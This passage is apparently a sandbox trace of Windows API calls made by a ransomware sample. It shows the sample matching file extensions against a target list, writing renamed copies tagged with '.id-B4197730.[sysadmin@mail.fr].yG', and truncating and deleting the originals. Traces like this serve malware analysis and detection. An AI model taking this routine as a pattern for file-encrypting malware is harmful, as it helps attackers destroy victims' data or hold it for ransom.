	[0052.408] ReadFile (in: hFile=0x2ec, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.408] WriteFile (in: hFile=0x384, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.408] SetEndOfFile (hFile=0x384) returned 1
	[0052.412] CloseHandle (hObject=0x384) returned 1
	[0052.413] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.413] SetEndOfFile (hFile=0x2ec) returned 1
	[0052.416] CloseHandle (hObject=0x2ec) returned 1
	[0052.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1
	[0052.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.416] lstrlenW (lpString=".doc") returned 4
	[0052.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.416] lstrlenW (lpString=".docx") returned 5
	[0052.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.417] lstrlenW (lpString=".pdf") returned 4
	[0052.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.417] lstrlenW (lpString=".xls") returned 4
	[0052.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.418] lstrlenW (lpString=".xlsx") returned 5
	[0052.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.418] lstrlenW (lpString=".ppt") returned 4
	[0052.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.418] lstrlenW (lpString=".zip") returned 4
	[0052.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.418] lstrlenW (lpString=".rar") returned 4
	[0052.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString=".bz2") returned 4
	[0052.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString=".7z") returned 3
	[0052.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.418] lstrlenW (lpString=".dbf") returned 4
	[0052.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.418] lstrlenW (lpString=".1cd") returned 4
	[0052.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.418] lstrlenW (lpString=".jpg") returned 4
	[0052.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.418] lstrlenW (lpString=".doc") returned 4
	[0052.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString=".docx") returned 5
	[0052.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.418] lstrlenW (lpString=".pdf") returned 4
	[0052.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.418] lstrlenW (lpString=".xls") returned 4
	[0052.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.418] lstrlenW (lpString=".xlsx") returned 5
	[0052.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.419] lstrlenW (lpString=".ppt") returned 4
	[0052.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.419] lstrlenW (lpString=".zip") returned 4
	[0052.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.419] lstrlenW (lpString=".rar") returned 4
	[0052.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.419] lstrlenW (lpString=".bz2") returned 4
	[0052.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.419] lstrlenW (lpString=".7z") returned 3
	[0052.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.419] lstrlenW (lpString=".dbf") returned 4
	[0052.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.419] lstrlenW (lpString=".1cd") returned 4
	[0052.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68
	[0052.419] lstrlenW (lpString=".jpg") returned 4
	[0052.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.419] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.419] lstrlenW (lpString="AN01084_.WMF") returned 12
	[0052.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.419] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1832) returned 1
	[0052.419] CloseHandle (hObject=0x2ec) returned 1
	[0052.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220
	[0052.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0052.420] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.420] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0052.420] GetLastError () returned 0x0
	[0052.420] ReadFile (in: hFile=0x2ec, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x728, lpOverlapped=0x0) returned 1
	[0052.439] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x730, lpOverlapped=0x0) returned 1
	[0052.440] ReadFile (in: hFile=0x2ec, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.440] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.440] SetEndOfFile (hFile=0x2fc) returned 1
	[0052.440] CloseHandle (hObject=0x2fc) returned 1
	[0052.441] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.441] SetEndOfFile (hFile=0x2ec) returned 1
	[0052.441] CloseHandle (hObject=0x2ec) returned 1
	[0052.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1
	[0052.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.523] lstrlenW (lpString=".doc") returned 4
	[0052.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.523] lstrlenW (lpString=".docx") returned 5
	[0052.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.523] lstrlenW (lpString=".pdf") returned 4
	[0052.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.523] lstrlenW (lpString=".xls") returned 4
	[0052.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.523] lstrlenW (lpString=".xlsx") returned 5
	[0052.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.523] lstrlenW (lpString=".ppt") returned 4
	[0052.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.523] lstrlenW (lpString=".zip") returned 4
	[0052.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.523] lstrlenW (lpString=".rar") returned 4
	[0052.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.523] lstrlenW (lpString=".bz2") returned 4
	[0052.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.523] lstrlenW (lpString=".7z") returned 3
	[0052.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.523] lstrlenW (lpString=".dbf") returned 4
	[0052.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.523] lstrlenW (lpString=".1cd") returned 4
	[0052.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.523] lstrlenW (lpString=".jpg") returned 4
	[0052.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.524] lstrlenW (lpString=".doc") returned 4
	[0052.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.524] lstrlenW (lpString=".docx") returned 5
	[0052.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.524] lstrlenW (lpString=".pdf") returned 4
	[0052.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.524] lstrlenW (lpString=".xls") returned 4
	[0052.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.524] lstrlenW (lpString=".xlsx") returned 5
	[0052.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.524] lstrlenW (lpString=".ppt") returned 4
	[0052.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.524] lstrlenW (lpString=".zip") returned 4
	[0052.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.524] lstrlenW (lpString=".rar") returned 4
	[0052.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.524] lstrlenW (lpString=".bz2") returned 4
	[0052.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.524] lstrlenW (lpString=".7z") returned 3
	[0052.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.524] lstrlenW (lpString=".dbf") returned 4
	[0052.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.525] lstrlenW (lpString=".1cd") returned 4
	[0052.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0052.525] lstrlenW (lpString=".jpg") returned 4
	[0052.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.525] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.525] lstrlenW (lpString="AN01174_.WMF") returned 12
	[0052.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0052.718] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=27858) returned 1
	[0052.718] CloseHandle (hObject=0x2f8) returned 1
	[0052.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220
	[0052.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0052.718] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.718] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0052.731] GetLastError () returned 0x0
	[0052.731] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x6cd2, lpOverlapped=0x0) returned 1
	[0052.849] WriteFile (in: hFile=0x334, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x6ce0, lpOverlapped=0x0) returned 1
	[0052.850] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.850] WriteFile (in: hFile=0x334, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.851] SetEndOfFile (hFile=0x334) returned 1
	[0052.851] CloseHandle (hObject=0x334) returned 1
	[0052.852] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.852] SetEndOfFile (hFile=0x2f8) returned 1
	[0052.853] CloseHandle (hObject=0x2f8) returned 1
	[0052.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1
	[0052.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.853] lstrlenW (lpString=".doc") returned 4
	[0052.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.853] lstrlenW (lpString=".docx") returned 5
	[0052.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.853] lstrlenW (lpString=".pdf") returned 4
	[0052.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.853] lstrlenW (lpString=".xls") returned 4
	[0052.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.853] lstrlenW (lpString=".xlsx") returned 5
	[0052.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.853] lstrlenW (lpString=".ppt") returned 4
	[0052.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.854] lstrlenW (lpString=".zip") returned 4
	[0052.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.854] lstrlenW (lpString=".rar") returned 4
	[0052.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.854] lstrlenW (lpString=".bz2") returned 4
	[0052.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.854] lstrlenW (lpString=".7z") returned 3
	[0052.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.854] lstrlenW (lpString=".dbf") returned 4
	[0052.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.854] lstrlenW (lpString=".1cd") returned 4
	[0052.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.854] lstrlenW (lpString=".jpg") returned 4
	[0052.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.855] lstrlenW (lpString=".doc") returned 4
	[0052.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.855] lstrlenW (lpString=".docx") returned 5
	[0052.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.855] lstrlenW (lpString=".pdf") returned 4
	[0052.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.855] lstrlenW (lpString=".xls") returned 4
	[0052.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.855] lstrlenW (lpString=".xlsx") returned 5
	[0052.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.855] lstrlenW (lpString=".ppt") returned 4
	[0052.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.855] lstrlenW (lpString=".zip") returned 4
	[0052.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.855] lstrlenW (lpString=".rar") returned 4
	[0052.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.855] lstrlenW (lpString=".bz2") returned 4
	[0052.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.855] lstrlenW (lpString=".7z") returned 3
	[0052.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.855] lstrlenW (lpString=".dbf") returned 4
	[0052.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.855] lstrlenW (lpString=".1cd") returned 4
	[0052.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0052.855] lstrlenW (lpString=".jpg") returned 4
	[0052.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.856] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.856] lstrlenW (lpString="AN02724_.WMF") returned 12
	[0052.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0052.856] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=2108) returned 1
	[0052.856] CloseHandle (hObject=0x2f8) returned 1
	[0052.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220
	[0052.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0052.856] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.856] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0052.857] GetLastError () returned 0x0
	[0052.857] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x83c, lpOverlapped=0x0) returned 1
	[0053.082] WriteFile (in: hFile=0x334, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x840, lpOverlapped=0x0) returned 1
